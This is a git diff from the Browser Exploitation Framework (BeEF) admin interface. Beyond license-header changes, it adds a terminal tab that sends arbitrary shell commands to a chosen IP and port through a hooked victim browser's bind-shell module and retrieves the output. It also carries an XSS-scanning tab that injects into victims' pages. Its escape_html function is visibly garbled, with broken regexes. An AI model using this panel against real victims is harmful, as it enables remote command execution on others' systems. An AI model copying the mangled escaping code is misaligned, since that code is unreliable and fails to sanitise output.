-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*
* The main Tab panel for the selected zombie.
*/
diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabIpec.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabIpec.js
new file mode 100644
index 000000000..6f8b2f77f
--- /dev/null
+++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabIpec.js
@@ -0,0 +1,257 @@
+//
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*
+ * The Ipec Tab panel for the selected zombie.
+ */
+
+ZombieTab_IpecTab = function(zombie) {
+
+ var commands_statusbar = new Beef_StatusBar('ipec-bbar-zombie-'+zombie.session);
+
+ var ipec_config_panel = new Ext.Panel({
+ id: 'ipec-config-zombie-'+zombie.session,
+ title: 'Scan Config',
+ layout: 'fit',
+ autoscroll: true
+ });
+
+ function get_rest_token(){
+ var token = "";
+ var url = "/ui/modules/getRestfulApiToken.json";
+ $jwterm.ajax({
+ contentType: 'application/json',
+ dataType: 'json',
+ type: 'GET',
+ url: url,
+ async: false,
+ processData: false,
+ success: function(data){
+ token = data.token;
+ console.log(token);
+ },
+ error: function(){
+ console.log("Error getting RESTful API token");
+ }
+ });
+ return token;
+ }
+
+ function get_module_id(name, token){
+ var id = "";
+ var url = "/api/modules/search/" + name + "?token=" + token;
+ $jwterm.ajax({
+ contentType: 'application/json',
+ dataType: 'json',
+ type: 'GET',
+ url: url,
+ async: false,
+ processData: false,
+ success: function(data){
+ id = data.id;
+ },
+ error: function(){
+ console.log("Error getting module id.");
+ }
+ });
+ return id;
+ }
+
+
+ function escape_html(str) {
+ str = str.toString();
+ str = str.replace(//g, '>');
+// str = str.replace(/\u0022/g, '"');
+ str = str.replace(/\u0027/g, ''');
+ str = str.replace(/\"\"/g, '');
+ str = str.replace(/\\r/g, '');
+ str = str.replace(/\\n/g, ' ');
+ str = str.replace(/\\\\/g, '\\');
+ str = str.replace(/\\t/g, ' ');
+// str = str.replace(/\\/g, '\');
+ return str;
+ }
+
+ function validateNumber(input, min, max) {
+ var value = parseInt(input);
+ return (!isNaN(value) && value >= min && value <= max);
+ }
+
+
+ function initTerminal(zombie){
+ String.prototype.reverse = function() {
+ return this.split('').reverse().join('');
+ };
+
+ $jwterm( document ).ready( function() {
+ $jwterm('#wterm').wterm( { WIDTH: '100%', HEIGHT: '100%', WELCOME_MESSAGE: 'Welcome to BeEF Bind interactive shell. To Begin Using type \'help\'' });
+ });
+
+ var target_ip = "";
+ var target_port = "";
+
+ var command_directory = {
+
+ 'target': function(tokens){
+ var ip_regex = new RegExp('^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$');
+ target_ip = tokens[1];
+ target_port = tokens[2];
+ if(ip_regex.test(target_ip) && validateNumber(target_port, 1, 65535)){
+ return "Target is now " + tokens[1] + ":" + tokens[2];
+ }else{
+ return "Target error: invalid IP or port.";
+ }
+ },
+
+ 'exec': function(tokens){
+ if(target_ip.length == 0 || target_port.length == 0)
+ return "Error: target ip or port not set."
+
+ tokens.shift(); //remove the first element (exec)
+ var cmd = tokens.join(' '); //needed in case of commands with options
+ cmd = cmd.replace(/\\/g, '\\\\'); //needed to prevent JS errors (\ need to be escaped)
+
+ var token = get_rest_token();
+ var mod_id = get_module_id("BeEF_bind_shell", token);
+
+ var uri = "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token;
+
+ var result = null;
+
+ $jwterm.ajax({
+ contentType: 'application/json',
+ data: JSON.stringify({"rhost":target_ip, "rport":target_port, "path":"/", "cmd":cmd}),
+ dataType: 'json',
+ type: 'POST',
+ url: uri,
+ async: false,
+ processData: false,
+ success: function(data){
+ console.log("data: " + data.command_id);
+ result = "Command [" + data.command_id + "] sent successfully";
+ },
+ error: function(){
+ console.log("Error sending command");
+ return "Error sending command";
+ }
+ });
+
+ return result;
+ },
+
+ 'get': function(tokens){
+ var command_id = tokens[1];
+
+ if(command_id != null){
+
+ var token = get_rest_token();
+ var mod_id = get_module_id("BeEF_bind_shell", token);
+
+ var uri_results = "/api/modules/" + zombie.session + "/" + mod_id + "/"
+ + command_id + "?token=" + token;
+ var results = "";
+ $jwterm.ajax({
+ contentType: 'application/json',
+ dataType: 'json',
+ type: 'GET',
+ url: uri_results,
+ async: false,
+ processData: false,
+ success: function(data){
+ $jwterm.each(data, function(i){
+ console.log("result [" + i +"]: " + $jwterm.parseJSON(data[i].data).data);
+ results += $jwterm.parseJSON(data[i].data).data;
+ });
+
+ },
+ error: function(){
+ console.log("Error sending command");
+ return "Error sending command";
+ }
+ });
+ results = escape_html(results);
+ if(results.charAt(0) == '"' && results.charAt(results.length-1) == '"')
+ results = results.slice(1,results.length-1);
+
+ return results;
+ }
+ },
+
+ 'strrev': {
+ PS1: 'strrev $',
+
+ EXIT_HOOK: function() {
+ return 'exit interface commands';
+ },
+
+ START_HOOK: function() {
+ return 'exit interface commands';
+ },
+
+ DISPATCH: function( tokens ) {
+ return tokens.join('').reverse();
+ }
+ }
+ };
+
+ for( var j in command_directory ) {
+ $jwterm.register_command( j, command_directory[j] );
+ }
+
+ $jwterm.register_command( 'help', function() {
+ return 'target - Usage: target <IP> <port> - Send commands to the specified IP:port ' +
+ 'exec - Usage exec <command> <command options> - Exec a command, returns the command id. ' +
+ 'get - Usage get <command id> - Retrieve command results given a specified command id. '
+
+ });
+ };
+
+
+ var ipec_terminal_panel = new Ext.Panel({
+ id: 'ipec-terminal-zombie-'+zombie.session,
+ title: 'Terminal',
+ layout: 'fit',
+ padding: '1 1 1 1',
+ autoScroll: true,
+ html: "",
+ listeners: {
+ afterrender : function(){
+ initTerminal(zombie);
+ }
+ }
+
+ });
+
+ function createIpecTerminalPanel(zombie, bar, value) {
+
+ panel = Ext.getCmp('ipec-config-zombie-'+zombie.session);
+ panel.setTitle('Prompt');
+ panel.add(ipec_terminal_panel);
+ }
+
+ ZombieTab_IpecTab.superclass.constructor.call(this, {
+ id: 'ipec-log-tab-'+zombie.session,
+ title: 'Ipec',
+ activeTab: 0,
+ viewConfig: {
+ forceFit: true,
+ type: 'fit',
+ autoScroll:true
+ },
+ items: [ipec_config_panel],
+ bbar: commands_statusbar,
+ listeners: {
+ afterrender : function(){
+ createIpecTerminalPanel(zombie, commands_statusbar);
+ },
+ autoScroll:true
+
+ }
+ });
+};
+
+Ext.extend(ZombieTab_IpecTab, Ext.TabPanel, {} );
\ No newline at end of file
diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js
index e0c8ac7dd..cd57346b2 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabLogs.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*
* The log Tab panel for the selected zombie.
*/
diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js
index 6d7eaf5dc..ed30b2e8d 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*
* The request Tab panel for the selected zombie.
* Loaded in /ui/panel/index.html
diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js
index 093377010..c9c549e4f 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js
@@ -1,172 +1,163 @@
-//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-/*
- * The XssRays Tab panel for the selected zombie.
- */
-
-//TODO: fix positioning issues, probably because we are not creating a nested (fucking) panel
-ZombieTab_XssRaysTab = function(zombie) {
-
- var commands_statusbar = new Beef_StatusBar('xssrays-bbar-zombie-'+zombie.session);
-
- var req_pagesize = 30;
-
- var xssrays_config_panel = new Ext.Panel({
- id: 'xssrays-config-zombie-'+zombie.session,
- title: 'Scan Config',
- layout: 'fit'
- });
-
- var xssrays_logs_store = new Ext.ux.data.PagingJsonStore({
- storeId: 'xssrays-logs-store-zombie-' + zombie.session,
- url: '/ui/xssrays/zombie.json',
- remoteSort: false,
- autoDestroy: true,
- autoLoad: false,
- root: 'logs',
-
- fields: ['id', 'vector_method', 'vector_name', 'vector_poc'],
- sortInfo: {field: 'id', direction: 'DESC'},
-
- baseParams: {
- nonce: Ext.get("nonce").dom.value,
- zombie_session: zombie.session
- }
- });
-
- var xssrays_logs_bbar = new Ext.PagingToolbar({
- pageSize: req_pagesize,
- store: xssrays_logs_store,
- displayInfo: true,
- displayMsg: 'Displaying history {0} - {1} of {2}',
- emptyMsg: 'No history to display'
- });
-
- var xssrays_logs_grid = new Ext.grid.GridPanel({
- id: 'xssrays-logs-grid-zombie-' + zombie.session,
- store: xssrays_logs_store,
- bbar: xssrays_logs_bbar,
- border: false,
- loadMask: {msg:'Loading History...'},
-
- viewConfig: {
- forceFit:true
- },
-
- view: new Ext.grid.GridView({
- forceFit: true,
- emptyText: "No History",
- enableRowBody:true
- }),
-
- columns: [
- {header: 'Id', width: 10, sortable: true, dataIndex: 'id', hidden:true},
- {header: 'Vector Method', width: 30, sortable: true, dataIndex: 'vector_method', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
- {header: 'Vector Name', width: 40, sortable: true, dataIndex: 'vector_name', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
- {header: 'Vector PoC', sortable: true, dataIndex: 'vector_poc', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}
- ],
-
- listeners: {
- afterrender: function(datagrid) {
- datagrid.store.reload({params:{start:0,limit:req_pagesize, sort: "date", dir:"DESC"}});
- }
- }
- });
-
- var xssrays_logs_panel = new Ext.Panel({
- id: 'xssrays-logs-panel-zombie-'+zombie.session,
- title: 'Logs',
- items:[xssrays_logs_grid],
- layout: 'fit',
-
- listeners: {
- activate: function(xssrays_logs_panel) {
- xssrays_logs_panel.items.items[0].store.reload();
- }
- }
- });
-
- function genScanSettingsPanel(zombie, bar, value) {
- var form = new Ext.FormPanel({
- title: 'Scan settings',
- id: 'xssrays-config-form-zombie'+zombie.session,
- url: '/ui/xssrays/createNewScan',
- labelWidth: 230,
- border: false,
- padding: '3px 5px 0 5px',
- defaults: {width: 100},
- defaultType: 'textfield',
-
- items:[{
- fieldLabel: 'Clean Timeout (milliseconds before the injected iFrames are removed from the DOM)',
- name: 'clean_timeout',
- allowBlank:false,
- value: 5000,
- padding: '10px 5px 0 5px'
- },{
- xtype:'checkbox',
- fieldLabel: 'Cross-domain (check for XSS on cross-domain resources)',
- name: 'cross_domain',
- checked: true
- }],
-
- buttons: [{
- text: 'Start Scan',
- handler: function() {
- var form = Ext.getCmp('xssrays-config-form-zombie'+zombie.session).getForm();
-
- bar.update_sending('Saving settings and ready to start XssRays... ' + zombie.ip + '...');
-
- form.submit({
- params: {
- nonce: Ext.get("nonce").dom.value,
- zombie_session: zombie.session
- },
- success: function() {
- bar.update_sent("Scan settings saved for hooked browser [" + zombie.ip + "]. XssRays will be added to victim DOM on next polling.");
- },
- failure: function() {
- bar.update_fail("Error! Something went wrong saving scan settings.");
- }
- });
- }
- }]
- });
-
- panel = Ext.getCmp('xssrays-config-zombie-'+zombie.session);
- panel.setTitle('Scan Config');
- panel.add(form);
- }
-
- ZombieTab_XssRaysTab.superclass.constructor.call(this, {
- id: 'xssrays-log-tab-'+zombie.session,
- title: 'XssRays',
- activeTab: 0,
- viewConfig: {
- forceFit: true,
- type: 'fit'
- },
- items: [xssrays_logs_panel, xssrays_config_panel],
- bbar: commands_statusbar,
- listeners: {
- afterrender : function(){
- genScanSettingsPanel(zombie, commands_statusbar);
- }
- }
- });
-};
-
+//
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*
+ * The XssRays Tab panel for the selected zombie.
+ */
+
+//TODO: fix positioning issues, probably because we are not creating a nested (fucking) panel
+ZombieTab_XssRaysTab = function(zombie) {
+
+ var commands_statusbar = new Beef_StatusBar('xssrays-bbar-zombie-'+zombie.session);
+
+ var req_pagesize = 30;
+
+ var xssrays_config_panel = new Ext.Panel({
+ id: 'xssrays-config-zombie-'+zombie.session,
+ title: 'Scan Config',
+ layout: 'fit'
+ });
+
+ var xssrays_logs_store = new Ext.ux.data.PagingJsonStore({
+ storeId: 'xssrays-logs-store-zombie-' + zombie.session,
+ url: '/ui/xssrays/zombie.json',
+ remoteSort: false,
+ autoDestroy: true,
+ autoLoad: false,
+ root: 'logs',
+
+ fields: ['id', 'vector_method', 'vector_name', 'vector_poc'],
+ sortInfo: {field: 'id', direction: 'DESC'},
+
+ baseParams: {
+ nonce: Ext.get("nonce").dom.value,
+ zombie_session: zombie.session
+ }
+ });
+
+ var xssrays_logs_bbar = new Ext.PagingToolbar({
+ pageSize: req_pagesize,
+ store: xssrays_logs_store,
+ displayInfo: true,
+ displayMsg: 'Displaying history {0} - {1} of {2}',
+ emptyMsg: 'No history to display'
+ });
+
+ var xssrays_logs_grid = new Ext.grid.GridPanel({
+ id: 'xssrays-logs-grid-zombie-' + zombie.session,
+ store: xssrays_logs_store,
+ bbar: xssrays_logs_bbar,
+ border: false,
+ loadMask: {msg:'Loading History...'},
+
+ viewConfig: {
+ forceFit:true
+ },
+
+ view: new Ext.grid.GridView({
+ forceFit: true,
+ emptyText: "No History",
+ enableRowBody:true
+ }),
+
+ columns: [
+ {header: 'Id', width: 10, sortable: true, dataIndex: 'id', hidden:true},
+ {header: 'Vector Method', width: 30, sortable: true, dataIndex: 'vector_method', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
+ {header: 'Vector Name', width: 40, sortable: true, dataIndex: 'vector_name', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
+ {header: 'Vector PoC', sortable: true, dataIndex: 'vector_poc', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}
+ ],
+
+ listeners: {
+ afterrender: function(datagrid) {
+ datagrid.store.reload({params:{start:0,limit:req_pagesize, sort: "date", dir:"DESC"}});
+ }
+ }
+ });
+
+ var xssrays_logs_panel = new Ext.Panel({
+ id: 'xssrays-logs-panel-zombie-'+zombie.session,
+ title: 'Logs',
+ items:[xssrays_logs_grid],
+ layout: 'fit',
+
+ listeners: {
+ activate: function(xssrays_logs_panel) {
+ xssrays_logs_panel.items.items[0].store.reload();
+ }
+ }
+ });
+
+ function genScanSettingsPanel(zombie, bar, value) {
+ var form = new Ext.FormPanel({
+ title: 'Scan settings',
+ id: 'xssrays-config-form-zombie'+zombie.session,
+ url: '/ui/xssrays/createNewScan',
+ labelWidth: 230,
+ border: false,
+ padding: '3px 5px 0 5px',
+ defaults: {width: 100},
+ defaultType: 'textfield',
+
+ items:[{
+ fieldLabel: 'Clean Timeout (milliseconds before the injected iFrames are removed from the DOM)',
+ name: 'clean_timeout',
+ allowBlank:false,
+ value: 5000,
+ padding: '10px 5px 0 5px'
+ },{
+ xtype:'checkbox',
+ fieldLabel: 'Cross-domain (check for XSS on cross-domain resources)',
+ name: 'cross_domain',
+ checked: true
+ }],
+
+ buttons: [{
+ text: 'Start Scan',
+ handler: function() {
+ var form = Ext.getCmp('xssrays-config-form-zombie'+zombie.session).getForm();
+
+ bar.update_sending('Saving settings and ready to start XssRays... ' + zombie.ip + '...');
+
+ form.submit({
+ params: {
+ nonce: Ext.get("nonce").dom.value,
+ zombie_session: zombie.session
+ },
+ success: function() {
+ bar.update_sent("Scan settings saved for hooked browser [" + zombie.ip + "]. XssRays will be added to victim DOM on next polling.");
+ },
+ failure: function() {
+ bar.update_fail("Error! Something went wrong saving scan settings.");
+ }
+ });
+ }
+ }]
+ });
+
+ panel = Ext.getCmp('xssrays-config-zombie-'+zombie.session);
+ panel.setTitle('Scan Config');
+ panel.add(form);
+ }
+
+ ZombieTab_XssRaysTab.superclass.constructor.call(this, {
+ id: 'xssrays-log-tab-'+zombie.session,
+ title: 'XssRays',
+ activeTab: 0,
+ viewConfig: {
+ forceFit: true,
+ type: 'fit'
+ },
+ items: [xssrays_logs_panel, xssrays_config_panel],
+ bbar: commands_statusbar,
+ listeners: {
+ afterrender : function(){
+ genScanSettingsPanel(zombie, commands_statusbar);
+ }
+ }
+ });
+};
+
Ext.extend(ZombieTab_XssRaysTab, Ext.TabPanel, {} );
\ No newline at end of file
diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
index 5537ee34e..1af9cf2c9 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*
* The zombie panel located on the left hand side of the interface.
*/
@@ -36,6 +27,7 @@ zombiesTreeList = function(id) {
//the tree node that contains the list of online hooked browsers
this.online_hooked_browsers_treenode = this.root.appendChild(
new Ext.tree.TreeNode({
+ qtip: "Online hooked browsers",
text:'Online Browsers',
cls:'online-zombies-node',
expanded:true
@@ -45,6 +37,7 @@ zombiesTreeList = function(id) {
//the tree node that contains the list of offline hooked browsers
this.offline_hooked_browsers_treenode = this.root.appendChild(
new Ext.tree.TreeNode({
+ qtip: "Offline hooked browsers",
text:'Offline Browsers',
cls:'offline-zombies-node',
expanded:false
@@ -183,7 +176,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
*/
addZombie: function(hooked_browser, online, checkbox) {
var hb_id, mother_node, node;
-
+
if(online) {
hb_id = 'zombie-online-' + hooked_browser.session;
mother_node = this.online_hooked_browsers_treenode;
@@ -193,7 +186,9 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
}
var exists = this.getNodeById(hb_id);
if(exists) return;
-
+
+ hooked_browser.qtip = hooked_browser.balloon_text;
+
//save a new online HB
if(online && Ext.pluck(this.online_hooked_browsers_array, 'session').indexOf(hooked_browser.session)==-1) {
this.online_hooked_browsers_array.push(hooked_browser);
@@ -216,7 +211,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
//creates a new node for that hooked browser
node = new Ext.tree.TreeNode(hooked_browser);
-
+
//creates a sub-branch for that HB if necessary
mother_node = this.addSubFolder(mother_node, hooked_browser[this.tree_configuration['sub-branch']], checkbox);
@@ -253,6 +248,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
sub_folder_node = new Ext.tree.TreeNode({
id: 'sub-folder-'+folder,
text: folder,
+ qtip: "Browsers hooked on "+folder,
checked: ((checkbox) ? false : null),
type: this.tree_configuration["sub-branch"]
});
diff --git a/extensions/admin_ui/media/javascript/ux/PagingStore.js b/extensions/admin_ui/media/javascript/ux/PagingStore.js
index d8c66b236..0536b4131 100644
--- a/extensions/admin_ui/media/javascript/ux/PagingStore.js
+++ b/extensions/admin_ui/media/javascript/ux/PagingStore.js
@@ -1,568 +1,559 @@
-//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-/*
- * PagingStore for Ext 3.2 - v0.5
- */
-Ext.ns('Ext.ux.data');
-Ext.ux.data.PagingStore = Ext.extend(Ext.data.Store, {
- add: function (records) {
- records = [].concat(records);
- if (records.length < 1) {
- return;
- }
- for (var i = 0, len = records.length; i < len; i++) {
- records[i].join(this);
- }
- var index = this.data.length;
- this.data.addAll(records);
- // *** add ***
- if (this.allData) {
- this.allData.addAll(records);
- }
- // *** end ***
- if (this.snapshot) {
- this.snapshot.addAll(records);
- }
- // *** add ***
- this.totalLength += records.length;
- // *** end ***
- this.fireEvent('add', this, records, index);
- },
- remove: function (record) {
- if (Ext.isArray(record)) {
- Ext.each(record, function (r) {
- this.remove(r);
- }, this);
- return;
- }
- // *** add ***
- if (this != record.store) {
- return;
- }
- record.join(null);
- // *** end ***
- var index = this.data.indexOf(record);
- if (index > -1) {
- // record.join(null);
- this.data.removeAt(index);
- }
- if (this.pruneModifiedRecords) {
- this.modified.remove(record);
- }
- // *** add ***
- if (this.allData) {
- this.allData.remove(record);
- }
- // *** end ***
- if (this.snapshot) {
- this.snapshot.remove(record);
- }
- // *** add ***
- this.totalLength--;
- // *** end ***
- if (index > -1) {
- this.fireEvent('remove', this, record, index);
- }
- },
- removeAll: function (silent) {
- // *** add ***
- var items = [].concat((this.snapshot || this.allData || this.data).items);
- // *** end ***
- // var items = [];
- // this.each(function (rec) {
- // items.push(rec);
- // });
- this.clearData();
- // if (this.snapshot) {
- // this.snapshot.clear();
- // }
- if (this.pruneModifiedRecords) {
- this.modified = [];
- }
- // *** add ***
- this.totalLength = 0;
- // *** end ***
- if (silent !== true) {
- this.fireEvent('clear', this, items);
- }
- },
- insert: function (index, records) {
- records = [].concat(records);
- for (var i = 0, len = records.length; i < len; i++) {
- this.data.insert(index, records[i]);
- records[i].join(this);
- }
- // *** add ***
- if (this.allData) {
- this.allData.addAll(records);
- }
- // *** end ***
- if (this.snapshot) {
- this.snapshot.addAll(records);
- }
- // *** add ***
- this.totalLength += records.length;
- // *** end ***
- this.fireEvent('add', this, records, index);
- },
- getById: function (id) {
- // *** add ***
- return (this.snapshot || this.allData || this.data).key(id);
- // *** end ***
- // return this.data.key(id);
- },
- clearData: function () {
- // *** add ***
- if (this.allData) {
- this.data = this.allData;
- delete this.allData;
- }
- if (this.snapshot) {
- this.data = this.snapshot;
- delete this.snapshot;
- }
- // *** end ***
- this.data.each(function (rec) {
- rec.join(null);
- });
- this.data.clear();
- },
- execute: function (action, rs, options, batch) {
- if (!Ext.data.Api.isAction(action)) {
- throw new Ext.data.Api.Error('execute', action);
- }
- options = Ext.applyIf(options || {}, {
- params: {}
- });
- if (batch !== undefined) {
- this.addToBatch(batch);
- }
- var doRequest = true;
- if (action === 'read') {
- doRequest = this.fireEvent('beforeload', this, options);
- Ext.applyIf(options.params, this.baseParams);
- }
- else {
- if (this.writer.listful === true && this.restful !== true) {
- rs = (Ext.isArray(rs)) ? rs : [rs];
- }
- else if (Ext.isArray(rs) && rs.length == 1) {
- rs = rs.shift();
- }
- if ((doRequest = this.fireEvent('beforewrite', this, action, rs, options)) !== false) {
- this.writer.apply(options.params, this.baseParams, action, rs);
- }
- }
- if (doRequest !== false) {
- if (this.writer && this.proxy.url && !this.proxy.restful && !Ext.data.Api.hasUniqueUrl(this.proxy, action)) {
- options.params.xaction = action;
- }
- // *** add ***
- if (action === "read" && this.isPaging(Ext.apply({}, options.params))) {
- (function () {
- if (this.allData) {
- this.data = this.allData;
- delete this.allData;
- }
- this.applyPaging();
- this.fireEvent("datachanged", this);
- var r = [].concat(this.data.items);
- this.fireEvent("load", this, r, options);
- if (options.callback) {
- options.callback.call(options.scope || this, r, options, true);
- }
- }).defer(1, this);
- return true;
- }
- // *** end ***
- this.proxy.request(Ext.data.Api.actions[action], rs, options.params, this.reader, this.createCallback(action, rs, batch), this, options);
- }
- return doRequest;
- },
- loadRecords: function (o, options, success) {
- if (this.isDestroyed === true) {
- return;
- }
- if (!o || success === false) {
- if (success !== false) {
- this.fireEvent('load', this, [], options);
- }
- if (options.callback) {
- options.callback.call(options.scope || this, [], options, false, o);
- }
- return;
- }
- var r = o.records,
- t = o.totalRecords || r.length;
- if (!options || options.add !== true) {
- if (this.pruneModifiedRecords) {
- this.modified = [];
- }
- for (var i = 0, len = r.length; i < len; i++) {
- r[i].join(this);
- }
- //if (this.snapshot) {
- // this.data = this.snapshot;
- // delete this.snapshot;
- //}
- this.clearData();
- this.data.addAll(r);
- this.totalLength = t;
- this.applySort();
- // *** add ***
- if (!this.allData) {
- this.applyPaging();
- }
- if (r.length > this.getCount()) {
- r = [].concat(this.data.items);
- }
- // *** end ***
- this.fireEvent('datachanged', this);
- } else {
- this.totalLength = Math.max(t, this.data.length + r.length);
- this.add(r);
- }
- this.fireEvent('load', this, r, options);
- if (options.callback) {
- options.callback.call(options.scope || this, r, options, true);
- }
- },
- loadData: function (o, append) {
- // *** add ***
- this.isPaging(Ext.apply({}, this.lastOptions ? this.lastOptions.params : null, this.baseParams));
- // *** end ***
- var r = this.reader.readRecords(o);
- this.loadRecords(r, {
- add: append
- }, true);
- },
- getTotalCount: function () {
- // *** add ***
- if (this.allData) {
- return this.allData.getCount();
- }
- // *** end ***
- return this.totalLength || 0;
- },
- sortData: function () {
- var sortInfo = this.hasMultiSort ? this.multiSortInfo : this.sortInfo,
- direction = sortInfo.direction || "ASC",
- sorters = sortInfo.sorters,
- sortFns = [];
- if (!this.hasMultiSort) {
- sorters = [{
- direction: direction,
- field: sortInfo.field
- }];
- }
- for (var i = 0, j = sorters.length; i < j; i++) {
- sortFns.push(this.createSortFunction(sorters[i].field, sorters[i].direction));
- }
- if (!sortFns.length) {
- return;
- }
- var directionModifier = direction.toUpperCase() == "DESC" ? -1 : 1;
- var fn = function (r1, r2) {
- var result = sortFns[0].call(this, r1, r2);
- if (sortFns.length > 1) {
- for (var i = 1, j = sortFns.length; i < j; i++) {
- result = result || sortFns[i].call(this, r1, r2);
- }
- }
- return directionModifier * result;
- };
- // *** add ***
- if (this.allData) {
- this.data = this.allData;
- delete this.allData;
- }
- // *** end ***
- this.data.sort(direction, fn);
- if (this.snapshot && this.snapshot != this.data) {
- this.snapshot.sort(direction, fn);
- }
- // *** add ***
- this.applyPaging();
- // *** end ***
- },
- filterBy: function (fn, scope) {
- // *** add ***
- this.snapshot = this.snapshot || this.allData || this.data;
- // *** end ***
- // this.snapshot = this.snapshot || this.data;
- this.data = this.queryBy(fn, scope || this);
- // *** add ***
- this.applyPaging();
- // *** end ***
- this.fireEvent('datachanged', this);
- },
- clearFilter: function (suppressEvent) {
- if (this.isFiltered()) {
- this.data = this.snapshot;
- delete this.snapshot;
- // *** add ***
- delete this.allData;
- this.applyPaging();
- // *** end ***
- if (suppressEvent !== true) {
- this.fireEvent('datachanged', this);
- }
- }
- },
- isFiltered: function () {
- // *** add ***
- return !!this.snapshot && this.snapshot != (this.allData || this.data);
- // *** end ***
- // return !!this.snapshot && this.snapshot != this.data;
- },
- queryBy: function (fn, scope) {
- // *** add ***
- var data = this.snapshot || this.allData || this.data;
- // *** end ***
- // var data = this.snapshot || this.data;
- return data.filterBy(fn, scope || this);
- },
- collect: function (dataIndex, allowNull, bypassFilter) {
- // *** add ***
